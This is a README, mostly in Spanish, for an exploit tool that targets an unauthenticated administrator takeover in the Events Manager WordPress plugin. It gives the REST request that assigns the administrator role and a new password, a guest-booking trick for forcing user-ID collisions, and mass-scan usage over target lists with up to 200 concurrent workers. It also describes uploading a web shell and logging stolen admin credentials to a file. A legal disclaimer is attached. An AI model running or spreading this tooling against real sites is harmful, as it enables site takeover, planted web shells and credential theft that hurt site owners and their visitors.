
Events Manager < 7.4.1 - Escalada de privilegios no autenticada a Administrador
Events Manager < 7.4.1 - Escalada de Privilegios No Autenticada a Administrador
La vulnerabilidad existe en EM\Archetypes::map_meta_cap dentro de classes/em-archetypes.php. El plugin define incorrectamente el alcance de su mapeo de capacidades al:
event o location, vacía $caps = []edit_user, delete_user o promote_userhas_cap() devuelve true, incluso para el usuario 0 (invitado)POST|PUT|PATCH /wp-json/wp/v2/users/{id}
POST /index.php?rest_route=/wp/v2/users/{id}
Body: {"password":"...","roles":["administrator"]}
Condición: {id} debe ser igual a wp_posts.ID de un CPT de evento o ubicación.
⚠️ La REST no autenticada no requiere un nonce (sin cookie de sesión).
Las reservas de invitados (dbem_bookings_anonymous=1 por defecto) crean usuarios reales de WP, lo que permite forzar colisiones. El nonce de reserva está disponible públicamente en los formularios de eventos.
pip install aiohttp
python CVE-2026-18366.py
El script solicitará:
list.txt)python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
| Opción | Descripción |
|---|---|
-l, --list | Ruta al archivo que contiene las URLs objetivo |
-s, --speed | Número de trabajadores concurrentes (1-200) |
--timeout | Tiempo de espera de la solicitud en segundos (por defecto: 20) |
Crea un archivo list.txt con un objetivo por línea:
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
Los compromisos exitosos se guardan en adminS.txt:
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-18366 Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────────┐ │
│ │ Detect │ → │ Collect IDs │ → │ PATH A: ID Brute │ │
│ │ Plugin │ │ (CPT/HTML) │ │ REST /users/{id} │ │
│ └──────────┘ └─────────────┘ └──────────┬───────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ Success? │ │
│ └──────┬──────┘ │
│ No │ │ Yes │
│ ┌──────────▼──────▼──────────┐ │
│ │ │ │
│ ┌──────────────────────┐ │ ┌─────────────────┐ │ │
│ │ PATH B: Guest Book │ ←───┘ │ Login + Verify │ │ │
│ │ Create user until │ │ Admin Access │ │ │
│ │ user_id == post_id │ └────────┬────────┘ │ │
│ └──────────────────────┘ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Upload Shell │ │ │
│ │ (Plugin/Theme) │ │ │
│ └────────┬────────┘ │ │
│ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Save Results │ │ │
│ │ adminS.txt │ │ │
│ └─────────────────┘ │ │
│ │ │
└────────────────────────────────────────────────────────────────┘
├── CVE-2026-18366.py # Main exploit script
├── list.txt # Target URLs (create this)
├── adminS.txt # Successful results (auto-created)
└── README.md # This documentation
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ ║
║ • Only use on systems you own or have explicit permission ║
║ • Unauthorized access to computer systems is ILLEGAL ║
║ • The author is NOT responsible for any misuse or damage ║
║ • By using this tool, you agree to these terms ║
║ ║
║ Use responsibly. Stay ethical. Respect the law. ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
Si eres administrador de WordPress:
| Atributo | Detalles |
|---|
| CVE ID | CVE-2026-18366 |
| Gravedad | 🔴 CRÍTICA (CVSS 9.8) |
| Plugin | Events Manager para WordPress |
| Versiones Afectadas | < 7.4.1 |
| Tipo de Vulnerabilidad | Escalada de Privilegios No Autenticada |
| Vector de Ataque | Red |
| Autenticación Requerida | Ninguna |